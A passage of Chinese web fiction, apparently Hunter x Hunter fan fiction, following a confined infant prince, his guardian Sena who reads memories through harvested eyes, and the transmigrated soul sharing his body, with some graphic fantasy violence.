在霁不知情的时候,他听不懂也不会说话的婴幼儿时期都将像今日的模式一样度过,和因为不知名原因对他寸步不离的王宫主管塞纳与拿着各式各样华丽有趣玩具陪自己玩的小女仆艾娜。
从小女仆艾娜上任陪玩后,霁发现了个严肃的问题:再也没有女仆可以在黄昏之后带自己去庭院了。
晚上自己醒来睡不着觉时顶多把他抱起来在房间里走走,就算自己再怎么指门口的位置,守夜女仆们也只会假装不通婴性。
明明白天都可以看懂自己的意思的!
霁能模糊猜到塞纳不准自己夜晚出门,但在他能听懂话前他永远猜不全这条塞纳亲口下达的禁令:黄昏之后不得带小王子走出宫殿,杜绝王能接触到小王子的一切可能。
王在王宫的存在感极低,像艾娜这样新入职的侍女别说见过王甚至都无法从其他女仆口中得知王的只言片语。
但艾娜是敬仰着王的。
她的奶奶,一位参与过特斯岚王国庆典的长寿者,她临终时的愿望就是再见卡卡王一面。
之前的王一定是很好的人吧。
抱着这样的想法,艾娜陪小王子玩的更卖力了,小王子可是下一任王啊,可要快快长大。
“这是花——花——”
艾娜拿着一个成人巴掌大小的毛绒玩具花,表情夸张的将这个代表美好的事物介绍给霁,霁简直要落泪了。
花。
这是他第一个音画同步记住的词。
“哇哇。”
该死的肌肉记忆使霁下意识跟读,被艾娜误解为对这朵玩具花有兴趣,话音刚落黄色的花就被放入他的手中。
“你一朵我一朵,现在我们都有花花了。”
艾娜重新从玩具箱中掏出了一朵蓝色的玩具花,俯下身摸了摸霁抱着的黄色小花后又举了举自己手中的蓝色小花,
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笑容灿烂。
“咯咯咯!”,霁小手拍拍,笑着为艾娜小老师鼓掌。
“噗”,艾娜用手指摸了摸眼角笑出来的泪水,有些抱歉的说:“对不起……您的笑声和发色搭配起来太像小鸡了,太可爱了。”
艾娜从玩具箱里翻出来个毛茸茸的小鸡玩偶,举在小王子目前摇了摇,口型夸张:“小——鸡——”
霁的头顶已经有软软的毛发了,金色的小短毛在阳光下一晒和艾娜手中的玩具小鸡一模一样。
霁瘪了瘪嘴,侧头。
“哦呀哦呀,小王子不要讨厌我啊。”
艾娜像小蝴蝶一样在霁的摇篮旁边打转,霁把头扭来扭去的,两个人就这样玩上了。
直到霁玩累了,打了个带着哭腔的哈欠,远处候着的女仆立刻上前开始非常专业的哄睡。
啊——艾娜无声的将脸埋在双手里无声尖叫:自己怎么把小王子欺负了,还调侃小王子像玩具小鸡。
有只手搭在了艾娜肩上,艾娜差点跳了起来,余光看到了缀着蕾丝边的白手套后松了一口气——是塞纳,整个王宫只有塞纳戴手套。
塞纳的食指抵在唇间,示意出去再说。
艾娜跟在塞纳身后走到庭院里,在塞纳停步后垂首不再乱动。
“艾娜,”塞纳靠近抚上了艾娜的脸,指尖上划停在了眼下,“这几天我很满意你的态度,所以想找你谈谈心。”
“主,主管,您想知道什么,我都可以告诉你。”艾娜脸颊通红,声音有些不自然。
太近了!艾娜内心有个小人在尖叫。
“哼”,塞纳万年不变的笑容有了些许变化,稍纵即逝,艾娜怀疑了下自己的眼睛。
她收回了作怪的手,微微仰头靠住了身后的栅栏。
“还记得这里是什么地方吗。”
“花,花园。”
“我问的不是这个,好好想想再回答我的问题。”
“是我和几个女仆埋尸体的地方。”
答出这句话的艾娜险些咬到了自己的舌头,两只手死死的绞在了一起:就,就这么说出来了!
塞纳仰头看着逐渐西沉的夕阳,闭上了眼睛。
“这座王宫没有墓地,所有的逝者的葬在这片花园里,包括我的姑姑,上一代的王宫主管,希娅·丽特。
希娅·丽特将这一代的王养育长大,结局却不是她想要的,那么强大残忍的女人竟然会那么随便的死去。
我不想步入她的后尘,呐,艾娜——
你能帮帮我吗。”
艾娜不了解这段过于简洁的自白有着多么大的信息量,她......只是不想让塞纳继续露出那种表情了——空荡荡的,一点也不开心的笑。
“我会帮您的。”,艾娜攥着裙边,大声的回答。
"好哦。"
艾娜感觉脑袋都因为塞纳主管的笑容变空了。
塞纳将手指扣入塞纳的指缝,牵引着她的手往上,使其附上了她的眼睛。
“我的眼睛可以看到别人的记忆,我希望你在必要的时候成为我的眼睛。”
塞纳凑近艾娜,在她耳边小声的密谋着:“可以吗。”
“嗯!”
艾娜用力的点了点头,许下了没有制约的誓言:“我会成为塞纳的眼。”
“好孩子。”
黄昏中,两只相似眼睛因主人的拥抱而相错。
5. 两岁了×丽特×狗
霁拉着艾娜的手噔噔的往前走,艾娜只好弓着腰狼狈的护着小王子,生怕这个走路飞快的小孩子摔倒。
“艾娜,抱。”
注意到艾娜的困境,霁超绝不经意的晃了晃小皮鞋,假装自己累了。
艾娜看着小王子脸上泛起的红晕,抱起他后偷偷扭头笑了。
“不许笑!”
霁气鼓鼓的,侧看白嫩的小脸像一个包子。
他也感觉很无奈,这具身体有个非常限制他发挥的特质:撒谎会脸红。
刚开始还听不懂人话的时候这个特质还没能显现,只到那天他假装睡觉,艾娜问出了那个绝杀的问题:“小王子,您睡着了吗。”
听懂了的霁闭着眼睛,在心中回答道:“当然睡着了。”
然后他就听到了艾娜超大声的“哎——”
他被抱出摇篮递给闻声而至的塞纳,“这孩子脸突然好红!”
于是,在霁确信自己已经在“听”方面无障碍的那天,他变成了一个天底下最诚实的孩子。
霁被艾娜抱进了王宫藏书馆,霁一头扎进了绘本区,自从他会走路后,藏书馆已经是他每天的固定行程了。
“艾娜艾娜,我今天要听这个。”
“好啊,我念给您听。”
“在很久很久以前,有一个小王子......”
通讯器响起,霁和艾娜的绘本时间结束了。
“好的,我明白了,塞纳主管请放心吧。”
挂断通讯器后,艾娜有些抱歉的看着小王子,“王子,我们带着绘本回您的寝宫读好吗?”
霁点头回以微笑,还好他是假孩子,不然艾娜不可能这么轻易的带着他回去,回到那个关了自己一年多的笼子。
是的,笼子。
霁能听懂话后核对了记忆,自然发现了不对之处。
学会走路后他曾试着到处乱走寻找他诞生的那个“医院”,但他很快发现他被困在了一片固定区域里,只要试图跨越就会被强硬的抱走。
直到能说出句子,霁被塞纳默许可以每天在藏书馆待一阵子,这里是“笼子”之外的地方。
霁趴在艾娜肩上,视线穿过拿着杂物跟在后面的女仆,落在藏书管之后,期盼着能看见些他想看的东西——比如“父亲”。
那个婴儿时期只见过两面,第一次想扼杀自己,第二次却帮了自己的美丽男人。
连续一个多月每天都会去藏书馆,这样的讯息他应该还是能得到的吧。
霁渴望见到他,从他口中得知更真实的生存环境。
为什么这里会有一个没有权力的王和一个被限制自由的王子?
回到寝殿,艾娜读着她答应过小王子的绘本故事,把这本绘本翻过一遍的霁开始一边拼积木一边听故事。
“‘我们是家人啊’,麻雀叽叽喳喳的告诉小王子。
‘家人?可是我们并没有血缘关系’小王子有些困惑。
‘对家人来说,血缘关系不是必须的’小麻雀摆了摆翅膀,认真的向小王子解答。
‘只要生活在同一屋檐下相依为命的就是家人’
‘太好了,麻雀先生,我们是家人!’
小王子为这段全新的关系感到开心雀跃......”
“艾娜,家,家人。”霁突然出声,指了指身前搭建的积木房子,又指向艾娜。
“呜,小王子——”
艾娜蛋花眼,抛下绘本把小孩抱进怀里蹭,把她给小王子编好的麻花辫都弄乱了。
艾娜把小王子抱到梳妆台,重新为他梳辫子。
辫子散开,微卷的金发垂至腰间,霁坐在凳子上不安分的晃着腿,碧色的眼睛透过镜子看向艾娜的眼睛——
那是双充满担忧的眼睛。
最近几个月塞纳离开王宫的次数越来越多了,艾娜在为她感到担心。
霁垂下眼睛,浓密的金色睫毛遮住了眼睛,镜子中的他看不清神色。
我与塞纳和艾娜是家人。
霁这样告诉自己。
只有这样他才能压抑住心中最原始的不安。
他有家人,才不是什么......耗材。
卡卡王国境内
一团被黄色脂肪和红色血液涂抹的肉团蜷在角落,微微起伏的胸膛让人依稀能辨认出这团东西曾经也是个人。
不远处两道身影以肉眼难以捕捉的速度交着手,伴随着一声巨大的爆破声,两人分开了。
其中一个人正是塞纳,比起塞纳裙角微脏,男人垂着一条扭曲的胳膊喘着粗气,身上的衣服布满焦痕。
男人眼见不敌,脚底冒出火星打算偷偷溜之大吉。
猝不及防,一只手穿透了他的胸膛,手中攥着的心脏还在鲜活的跳动。
“呃唔。”男人低头不可置信的看着塞纳手中的心脏,充满悔恨的倒下——他还没有等到塞纳用出她的念能力。
“空有念却没有多少修炼的痕迹,这样的苍蝇也开始往卡卡王国钻了吗,特斯岚十三王子最近越来越张扬了。”
拿出容器,塞纳取出来在场二人的眼睛。
她的神色晦暗不明,嘴角依然挂着一抹不变的笑。
“必须要想办法警告他一下,苍蝇太多也是很烦的。”
毕竟丽特只是王的狗,至于王子?以前不是,现在也不是,未来也不会是。
等他成为王再说吧,那么蠢的家伙,要真有那么一天,特斯岚也该亡国了。
塞纳漫不经心的处理好摘下的眼睛,举起来凝视两只来自不同人身上的眼睛,两人相遇后发生的一切在她的身边徐徐展开,好似一场小型的真人演绎舞台。
【他们的眼】:拿起不同人的眼球同时与之对视可以用第三视角查看他们相处的画面,画面清晰度取决于眼睛的新鲜程度,眼睛数量超过三的阈值会对自身的眼睛造成不可逆的伤害。
“卡下饮料公司是你的产业?”男人偷偷闯入安保森严的别墅,用刀抵着胖子的脖子。
胖子太肥了,一个大喘气脖子上就多了一道口子,他吓的熄了向保镖呼救的念头,惊慌失措的回答:“是我的,是我的、别、别杀我,我可以给你钱,我有很多很多的钱……”
“别废话。”男人有些嫌弃的看了眼刀上澄黄的脂肪,往外挪了挪:“你是那个两年前去世的长寿者的儿子吧,快说,你老子究竟是用了什么
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才活这么久的,我不信光喝点小饮料就可以长寿!”
说罢,男人用刀拍了拍胖子的脸,嗤笑一声:“你老子活到150的时候市面上还没卡卡圣水呢,别拿那个假的要命的东西糊弄我,先紧着你这条命吧。”
胖子吓哭了,涕泪纵横:“真的是卡卡圣水啊,这东西我爹没出生的时候就有了,王室有卡卡圣水的秘方,每年都会生产一批卡卡圣水发给病人做慈善,直到100多年前归顺特斯岚,秘方就掌握到他们手里了,之前一直只秘密供应给贵人们,这几年产量高了才开始往出买……当然,这都是我们私下猜测的,因为卡卡一直都不缺卡卡圣水。”
“哦?”男子将信将疑,下意识看了下手里的通讯器,通讯器显示接通状态。
“我说的都是真的,卡卡王室在这百年来一直在定量向民间输送卡卡圣水,只允许饮用不准贩卖,这几年他们王室带头开始贩卖卡卡圣水,我们才被允许私下贩卖……”
“不对吧,你老子180你50多,卡卡圣水这么神奇?”男人低头看通讯器,问出了这个问题。
“这个,这个……”胖子好像想起来什么,脸色难看了一瞬,愤愤不平道:“卡卡王国归顺后的这一代脑子都有点问题,好多不生孩子的,特斯岚的王看他们年纪大了又后继无人就把本国的孤儿过继给他们养老,我是他130多岁时收养的,都没牙了还养小孩,还说什么国家必须让他养一个,我呸!他怎么不去死呢,死了就不用被强迫养小孩了……”
“行了行了,”男子不耐烦的用刀打断胖子,继续问道:“归顺后那批正常结婚生子的卡卡国民和他们的孩子有出过长寿者吗?”
胖子被刀划伤了胳膊,哀嚎了一声,吸引来了保镖。
看到男人砍菜一样两三下解决了保镖,胖子捂着伤口瑟瑟发抖。
“说,我说,圣水变了,和以前不一样了,他们没有长寿,长寿的没孩子,有孩子的没长寿!孩子也没长寿,被诅咒了,都被诅咒了!”
说完胖子脖子一伸晕过去了。
“死胖子。”男人用刀猛划拉倒在地上的胖子,让胖子说清楚,胖子疼醒了后根本捋不直舌头,一直嗷嗷怪叫,男人正想一刀了解他时,“噔噔蹬”的高跟鞋声响起。
塞纳知道,是自己来了。
脱离画面,塞纳看到十三王子的“狗”蹲在地上摆弄着胖子残缺的尸体,男人的心脏和尸体都不见了。
“真奇怪啊,喝了这么多虹血,怎么没变得好吃起来。”“狗”嫌弃的吐了吐舌头:“还是处理好的卡卡们好吃。”
“告诉你主子,还想继续把虹血放在自己的口袋里就低调点。”
塞纳打开水龙头洗干净手后,擦干戴上了手套。
“我不是及时通知你有念的人来作乱了嘛。”
“狗”嘻嘻哈哈的不敢凑塞纳太近,毕竟这可是威名赫赫的丽特啊,它还是要命的。
塞纳拎起裙子,头也不回的向王宫走去。
目送塞纳离开,“狗”开始解剖自己心仪的尸体。
“都是狗~她在高贵些什么嘛。
我呢,才不会违逆主人,哦~高傲的丽特,连命都没了~”
6. 爸爸×妈妈×哥哥
霁六岁的时候,塞纳已经从3、4天出去一趟的频率变成每天都出去一趟了。
艾娜也从最开始的担忧、挂念变成习以为常了。
她甚至还和塞纳一起出过王宫——当然,是带上霁的那种。
霁穿上塞纳给她搭配好的衣服,乖乖地牵着两人的手。
到了艾娜家,艾娜妈妈对艾娜朋友的到来感到很惊讶,但话里的开心喜于言表,这是假装不出来的。
吃着艾娜妈妈做的家常菜,听着艾娜向自己妈妈介绍他们两人,这对临时组成的姐弟组合都有些心不在焉。
霁不知道塞纳在烦恼些什么,但他有些按耐不住自己那蠢蠢欲动的心了。
随着年龄指数增长的好奇心使霁忍不住想要探究自己身边的秘密,塞纳肯带自己离开王宫就是一个很好的信号:
塞纳开始对自己放松无形的禁制了。
再加上塞纳最近因为不知名的原因变得非常忙碌,前所未有的好机会就摆在眼前。
怎么能不心动呢。
想到这儿,霁开心的摆了摆脑袋,过臀的金色马尾辫晃出了俏皮的弧度。
塞纳隐晦地看了霁一眼,霁没有察觉到。
饭后,艾娜去帮妈妈洗碗,霁开始了他计划的第一步:
“塞纳塞纳,你见过我妈妈吗?”
霁玩着艾娜妈妈塞给他的草编蝴蝶,超绝不经意的抛出了问题。
翻阅着通讯器的塞纳指尖一顿,视线从屏幕转移到霁脸上。
霁眨巴着大眼睛,蓝色的瞳孔澄澈而又明亮,嘴因为紧张无意识的抿紧。
没什么问题。
视线挪回,塞纳继续操作通讯器回消息,有些苦恼的说:“时间太久了,让我想想……”
想想该怎么说真话。
“你的妈妈当年是我接回皇宫的,是个金发美人,只可惜有眼疾,总用一条三指宽的白绸缎蒙住眼睛。”
塞纳放下通讯器,虚空描摹着霁睁大的眼睛,“但我想她一定有一双美丽的蓝眼睛。”
霁没想到塞纳真的会回答他,他原本只想赌一个可能性——一个塞纳可能会对他心生怜悯的可能性。
但现在情况变了,塞纳给出的回应远远高出了他的预期。
他听见自己冷静的问塞纳:“呐,塞纳,妈妈她去哪里了啊,是和爸爸一样生病了需要去治病吗?”
又来了,这种身体好像不受自己控制,好像有另一个人和自己同处一个身体,暂时接管了躯壳的感觉。
塞纳脸上笑容的弧度还如同第一次相见时一样,她摸了摸霁的头发,把霁抱在怀里颠了颠:“为什么霁会这么问,是突然想妈妈了吗?”
霁抬头望向塞纳那双晦暗不明的棕色眼睛,带着些哭腔说:“塞纳,绘本里大家都有妈妈,艾娜也有妈妈,艾娜妈妈会给我编好看的蝴蝶,我也想有妈妈……”
“好孩子。”塞纳把霁的头按在怀里,给他拍背,安抚他。
和他小时候一样。
“塞纳像爸爸,艾娜像妈妈。”霁埋在塞纳怀里,小小声说。
脸上的表情没有任何变化——这是目前身体疑似能被他人接管后唯一的好消息,另一个“霁”撒谎不会脸红。
于是,霁通过谎言得到了王宫畅行的权力,当他踏入禁行区时,再也不会有仆人来阻碍他了。
但是当霁逛完整个王宫后,他并没有发现任何可疑的地方。
难道他出生的地方不在王宫?
霁抚着泛着寒气的冰棺,沉思着。
冰棺里的女士仿佛还有生气,被入殓师画上的妆容隔着冰棺像脸上自带的气色,白色的绸缎下的脸颊有着健康的红晕,仿佛冰棺里躺着的人没有被死亡带走,只是睡着了。
思来想去,霁干脆往冰棺上一趴,差点吓坏了艾娜。
不管了,他最不缺的就是时间,关键人物“父亲”都没有遇见呢,怎么能轻易放弃!
这个王宫绝对有隐藏的地方!
霁暗自给自己打气,决定先解决他身上最大的隐患——另一个他。
被艾娜牵着手拉着往前走,霁开始分心思考自己身上的问题:
那个人,会是真正的“小王子”吗?
是的,都6岁了霁还没有一个真正的名字,塞纳连老师都没给他找过,所以他现在处于一个装糊涂的状态:装作认为自己的名字就是“小王子”,假装自己是个文盲。
还好这两件都不是难事。
回到房间霁说自己要一个人睡觉,把艾娜往门口推,艾娜无奈,只能带着其他女仆出去。
“小王子一个人一定要好好睡觉哦,以后再做那么危险的事我就要去找塞纳告状!”
艾娜佯装生气,冲霁一手叉腰一手挥拳头。
“一定啦,我可是答应过艾娜的。”霁吐了吐舌头,冲早就被他哄好的艾娜眨了下眼睛。
一个人躺了会,确定了守在门外的女仆不会进来,霁起身走到了盥洗室,盥洗室有一面巨大的镜子,这是霁选定的重要道具。
至于艾娜?她绝对不会突然闯进来,她最近决定给他新做个玩具箱,现在估计在和木头做斗争,艾娜意外的擅长手工。
“镜子啊镜子,”霁一脸严肃的看着面前的镜子,向镜子发问道:“谁是世界上最帅的男人?”
“哈哈哈哈——”霁捧腹大笑,扶着洗手台防止自己摔倒。
“是你啊,我的小王子……”一个刻意捏着嗓子故作阴森的声音响起,霁看着镜子被自己吓的花容失色。
镜子里他的脸色惨白,嘴却在说着些逗趣的话。
是“小王子”。
意识到小孩快被自己吓晕了,“小王子”讪讪地笑了几声。
“别害怕啊,你不是在找我吗,我来了啊。”
霁缓了缓,闭眼,睁眼,深吸一口气后问出了那个萦绕在他心中久久不散的问题:“你是谁?”
“我是林霁。”镜子那头的“他”回答道。
霁感觉自己的声音有些干巴巴的:“你是林……霁的话,我是谁呢?”
“你是‘小王子’,这具身体真正的主人。”
察觉到霁正在头脑风暴,林霁接管了身体,将自己这些年的发现简化讲给他听:
“最开始是因为我在梦里察觉到自己‘失忆了’——在异世界醒来后我
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开始遗忘前世的记忆,只有在梦里才会意识到这一点。
后来随着你长大,我发现这具身体的主导者并不是我,最开始会产生能操纵这具身体的错觉是因为你当时年龄小,很容易受到我的想法影响,从而做出我想要的反应。
大概是从一次无心的笑容开始的吧,我不想对塞纳,那个当时让我感觉很恐惧的女人笑,但‘我’却笑了,笑得很依赖。
这时候我才意识到,我并不是转生了,我只是一个来自异界的客人。
抱歉,我恶意揣测的人是你心中不可或缺的家人。
我为自己20年的记忆浸染了你本来纯洁无暇的思想而道歉,或许这就是‘我’在现实世界循环渐进失忆的真实原因吧。
直到现在,你的身体可以承受我的灵魂了,我才可以在你不抗拒的时候接管你的身体。”
说到这里,林霁把拳头抵在唇边闷闷地笑了:“自从你察觉到我的存在后,每次当你对塞纳她们撒谎的时候我都能感觉都你在呼唤我。”
霁夺回身体控制权,闭着眼睛不去看自己变得通红的脸,不满地嚷嚷道:“凭什么我想什么你都知道,我却从来都没有察觉到你的想法?”
一个陌生的笑声在霁脑内响起:“灵魂和大脑是人类至今都难以染指的领域,我或许存在于你脑袋的更深处?我也不确定。”
霁瞪着镜子半天说不出话来。
“现在相信我才是林霁了吧。”
眼圈微微泛红,霁扭过头不去看镜子:“我不管,我也要叫霁。”
他也想有名字。
“没问题哦。”
“以后不准偷听我的想法。”
“其实根本听不到哦,只是有感觉,比如现在……感觉你有点高兴?”
“哼。”
“以后你可以叫我哥哥,作为在你身体里呆了这么多年的代价,我会帮你找到王宫的秘密。”
镜子里的林霁眨了眨右眼,两指并拢抵在太阳穴:“以成年人的智慧哟。”
哼,讨厌的大人。
王宫的探索缓慢进行中,林、霁二人磨合的越来越好,两人的配合堪称天衣无缝,连最熟悉“小王子”的塞纳和艾娜都没有察觉出眼前的小王子是两个人。
“我们两都挺有演戏天赋的。”林霁乐呵呵的对霁说。
那当然。
再说了,你我本就是世界上最亲密无间的两个人——我们可是一出生就在一起啊,永远不会分离。
只有死亡能把我们分开。
林霁只能感觉到霁对他的肯定,所以他变得更开心了。
这孩子最近开朗多了,之前那孤独的小可怜模样快给关在脑子里的他急坏了。
还好自己出来的及时!
晚上再去“修炼”吧。
开心~
一切都在向好的方面发展。
后来的霁想,如果当时他能再发现的慢一点,让他们有更多的反应时间,一切会不会变得不一样?
但命运啊,总是把不懂得珍惜的人推向最仓促、狼狈的那条路,再恶狠狠地嘲笑你的无能。
他们从来没有第二条路可以选。
7. 梦境x不死x开念
不知从何时起,霁觉得自己成为了绘本中被困在高塔里的小王子。
塔被锁住无法进出,塞纳是拿着钥匙的高塔守卫。
只有艾娜被塞纳放进塔里,于是艾娜成为了守卫2。
守卫2认真的履行着对守卫1许下的诺言,在守卫1不在时专注地注视小王子。
于是,守卫1看似淡出了王子的世界,但只有守卫2的眼睛明白——守卫1从没有缺席过王子的成长。
守卫1一直在忍耐,果实从青涩到成熟太过漫长,她怕自己在这段时间里对食物产生不该有的感情。
只有守卫1知道,这座高塔里住过不只一位王子,他们最后都成为了王。
就算是这个称谓充满了恶人的伪善,却有着实在的效果:
在不知情的民众眼里,王就是王。
因此,被无形的锁链拴在原地的守卫1可以借这个漏洞获得自由。
原本守卫1的前辈守卫0是打算这么做的,但是最后守卫0却放弃了触手可得的自由。
因为她“爱”上王子了。
吸取教训,守卫1挑选出了守卫2。
这样的话,就不会产生“爱”了吧。
看着那双有着枫糖浆色泽的眼睛,守卫1若有所思。
如果透过“监视器”看着一枚果子从青涩长到成熟也能产生“爱”的话,到时候她该怎么选择呢?
王子不知道守卫的思虑,他只知道他的心空落落的。
明明还是和艾娜一起生活在塔里,他为什么会突然觉得缺了什么?
绝对不是塞纳。
塞纳每天都看着他呐,霁能感觉到,即使她最近一直没有出现在自己的面前。
是什么呢?金发碧眼的小王子用骑士吃掉了了棋盘上属于艾娜的皇后。
在艾娜故作夸张的哀叹声中,霁笑了。
——分割线——
林霁发现塞纳的瞳孔隔几天就会发生细微的变化后心生警惕,开始有意识的远离她。
奇怪的是,他总是忍不住想去和塞纳贴贴。
直到身体再一次违背了他的意志,他才发现了那个一直被他忽略的,这具身体真正的灵魂。
发现真相后他还没来得及思考对策,意识就被无形的东西拽着下沉——就像每次入睡时进入梦境时的感觉一样。
这是林霁第一次还没有入梦就想起关于奇怪梦境的事情。
坠落——直至身体触底停下。
“你这孩子突然停在马路上不走干什么?要红灯了!”
刺耳的鸣笛声唤醒他的感官,白噪音汇聚成线在脑袋里“兹拉”一声炸开,林霁睁开眼睛发现他站在马路中央,红绿灯上绿色小人闪烁的厉害。
跑!
一只脚刚踏上人行道,下一秒一辆速度极快的汽车几乎是擦着他的后脑勺驶过,林霁单薄的身体被带起的气流吹的晃了晃。
向好心的有着简笔画五官的大叔npc道完谢,林霁开始轻车熟路的寻找“安全所”。
自从有一次梦境是在家和学校以外的地方醒来后,林霁就发现了梦境的险恶之处:这个梦境好杀人。
躲开突然从高空坠落的花盆,绕开没井盖的下水道,踹飞窜过来的巨鼠,林霁表示自己早就麻木了只能庆幸npc对他并没有恶意。
走在完全陌生的街道上,街边店铺的橱窗玻璃映出他的身影,他穿着初中的校服,绿色的校服和怪异的举动与周边的路人npc格格不入。
好在他已经习惯了,只要沿着一个方向一直走下去,家和学校总有一个会出现在一个奇怪的地方,只要走进去梦境的恶意就会消散。
家和学校是他安全的港湾。
好消息,这次单元楼很快出现在了一个公园中的广场上,坏消息,广场是鸽子的地盘。
密密麻麻的红眼鸽子蓄势待发,就等他走上前去啄他个脑袋开花。
林霁在路边的树上折了两根顺眼的树枝,一脸跃跃欲试。
一次偶然的机会,他发现在梦境里自己身手突然没征兆的变好了,这种变化体现在速度和力气的提升上。
刚开始林霁还不习惯这种变化,直到在几次梦境中分别和流浪狗大队、丧彪猫兵团、麻雀大家族、双马尾刺客家族的交锋中飞速熟练,已经有了充足的对战经验。
他将这种身体的变化归咎于他身处梦境的原因,拜这种变化所赐,他在梦境里目前还没有遇见过什么大危机。
来吧,鸽子!
漫天飞舞的白色鸽羽被黄昏镀上金粉,当最后一只倔强的鸽子骂骂咧咧地退出了战场后,林霁还没来得及摆出结算姿势,单元门口出现的人影使他愣住了:
“妈妈?”
“刚打算去找你,你倒好,自己送上门来了。”王女士上前揪住林霁的耳朵,恨铁不成钢的赏了他一个脑瓜崩:“回家再收拾你。”
林霁把树枝扔了,乖乖地跟在王女士身后回家,一路上看着她的背影几次张口都没说出声来。
注意力全在妈妈身上的林霁没有注意到单元门上偷偷蠕动的黑影,直到林霁靠近后才欲盖弥彰的不动了。
这是他第一次在梦里遇到亲人,如果之前遇到过妈妈的话一定不会忘记的……他甚至还记得之前在梦里打给父亲但被自己挂断的那个电话。
但好奇怪,为什么不是打给母亲的……他不是最爱妈妈了吗?
好像忘了什么重要的事,得要快点想起来……
“妈,今天不是工作日吗,你怎么在家?”
终于,他说出了见到妈妈后的第二句话。
闻言,王女士开锁的动作一顿,没好气的说:“你还好意思说,你们班主任李老师说你没去上学,我回来看看你是不是胆肥了敢逃学了……”
门开了,林霁站在门口还一动不动,王女士回头没好气道:“怎么还不进来?”
林霁后退一步,有些怀念的看着眼前的人。
他记起来了,他的母亲王女士在他初二的时候就出车祸去世了,死亡时间正好是今天早上7点。
“你怎么还不进来?”假的王女士头拧了一下,旋转了360°,眼睛里有赤色的液体淌出。
“你不是妈妈。”
“我是妈妈啊,乖乖,你不是最爱妈妈吗,怎么认不出妈妈了?”
林霁眼睁睁的看着它从一个完整的人体一点点变成一摊,就像当年那样。
是噩梦。
固液混合物融入门后的黑暗,本该最安全的地方也向他露出了獠牙,打开的门后有什么奇怪的东西在蠕动着。
有东西要出来了。
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要逃。
可惜还是迟了,那东西速度比他还快,粘腻的触手在他逃跑时缠住了他的脚,“砰”的一声将他狠狠摔绊在地上。
超级疼!
好像感觉刚刚的那一下没有尽兴,那个触手开始乱甩,被缠着脚的林霁被墙和地面反复撞击。
因为已经遗忘了死亡时的记忆,现在遭遇的疼痛是他从未体验过的。
停止呼吸前,林霁依稀间“看”到了那个怪物——是“恐惧”。
触手有些疑惑的暴力摆弄着已经不会动的玩具:刚刚这东西好像突然有点硬?
眼见玩具已经失去了玩弄的价值,触手抛下了残肢,慢吞吞的开始往回缩。
就在这时,一只完好无损的手拽住了它。
无色的气流缠绕着林霁的身体表面,他从地上爬起来,眼中战意昂然:“别走啊,我还没玩尽兴呢。”
在死亡前,林霁看到了所有他曾经恐惧过的东西,包括他忘记的那些。
他被自己的恐惧杀死了。
再一次准备迎接死亡时,他好像浸泡在了一汪温暖的液体里,有光透过了他紧闭的双眼。
睁眼,流光溢彩的池水底下“霁”正在沉睡,一根彩色的闭合光带在两人的身上环绕,是莫比乌斯环的形状。
比起浑身散发着彩色光晕有种神性的“霁”来说,被黑色的丝线缠绕成黑色木乃伊的林霁邪性极了。
虽然黑色的丝线缠满了他的身体,但是这层壳与他的皮肤没有直接接触到,两者之间有着大概1cm的差距。
林霁微动指尖触碰到了黑“线”。
不要死!
声音直接响在林霁的脑中,是他,或者说是前世的他的声音。
妈妈倒在地上后身下的血泊和他身下流出的那滩在他的幻觉里交织,重叠。
被血染红的眼和“霁”突然睁开的眼重合,两人的唇张张合合说出了同一句话:“不要死。”
一股气流从身体中迸发出来,林霁感觉身体暖洋洋的,之前只差临门一脚的念终于开了。
从奇异的地方出来后,林霁“醒了”。
“嘛,”将复合物拽出房间,林霁笑容灿烂:“虽然还是有些摸不着头脑,都是我感觉自己现在充满了力量。”
“只要把你打到不敢在我的梦里作妖,我就能离开了吧。”
拳头如雨点般落下——
“死吧!”
于是,在“不死”的加持下,林霁的实战经验在与非人之物的对决中飞速增长。
在他还不知道自己新得到的能力是念的时候,为了能在痛揍复合物的时候自身不受伤害,林霁无师自通了念的【四大行】。
他发现,每当自己要力竭时,那条彩色光带都会出现并缠绕住他,这时他的体力和有些枯竭的神秘力量都会重新被填满,变得充盈起来。
最后完成使命的光带会变成光点消散。
终于,他杀死了复合物。
但复合物的尸体上凭空出现了新的复合物,新出现的复合物“吞”掉了旧复合物的尸体,成为了更强的复合物二代。
“哈。”看着气息节节飙升的复合物二代,林霁磨了磨牙,笑了:
“我强你更强是吗?看来真要把你打服我才能离开了,来吧!”
8. 预言×告别×她的眼睛
1984年,特斯岚王宫。
年迈的神官跪在地上高高捧起一个水晶球,声音悲痛:“王啊,不管您曾经做过什么,都快停止吧!神已经被您触怒了,祂将派来最后的神裔降下惩罚,特斯岚的荣光将不复存在!”
“拉下去,将他的舌头剪下来烹饪,盯着他吃下去。”王座之上的青年人把玩着一个透明的罐状容器,一对绯红的眼球在其中浮浮沉沉。
“王!王!还来得及!一切都还有挽回的机会,不要再执迷不悟了!”
“哈,”青年人将罐子举起对准月亮,凝望着,“太可惜了,品相与市场上流通的那几对没有什么区别,我迟早要得到一对品相最极致的火红眼。”
大殿灯火通明,银发之下一双浅红色的眼睛暮气沉沉。
沉吟半刻,外表年轻的国王笑意吟吟的对仆人说:“知道我可爱的小十三现在在哪里吗?”
卡卡王宫。
“我知道了,我会处理干净的,你最好管好你的嘴。”
挂断电话,塞纳闭上了眼睛。
“狗”告诉她,主人的父亲,那位伟大的特斯岚国王刚刚向十三王子,它伟大的主人下达旨意:家家酒该结束了,彻底把我们最稀有的宝物带回特斯岚吧。
她知道该怎么做——将除了“财物”之外的东西统统销毁,包括这座古老的王宫。
从今以后,卡卡王族将成为历史。
睁开眼,塞纳决定处理完最后一件私事后再开始清理。
毕竟时间还充足,不是吗?
没被主人拴着的恶狗可是听不懂人话的。
王宫庭院,艾娜远远的就看到塞纳了。
她开心的小步跑过去:“塞纳……”
一双微凉的手抵住了她的唇。
“艾娜,你还记得我们之间的约定吗?我现在不需要你了。”
看着塞纳的眼睛,艾娜的思绪不合时宜地飘向了十年前的黄昏,彼时她还只是一个新入职的小女仆,面前这个女人给了她权势和财富。
她知道,现在与当年大同小异,唯一的区别是当时的塞纳需要她的眼睛而现在的塞纳需要她的离开。
仅此而已。
艾娜双手覆上唇上的手将其拉离,枫糖浆色泽的眼睛含笑:“好哦,是需要我离开王宫吗?”
“嗯,”塞纳收回手,言简意赅:“今晚就离开。”
“明白!”艾娜向宿舍的方向走了几步后回头向塞纳挥手道别:“再见,塞纳。”
犹豫了一下,在艾娜笑容的攻势下,塞纳还是妥协了。
她抬起小臂,生疏地挥了挥手。
“再见。”
直到看着艾娜远去塞纳才对时间有了清晰的概念:当年那个小姑娘已经长得同她一般高了。
10年吗……
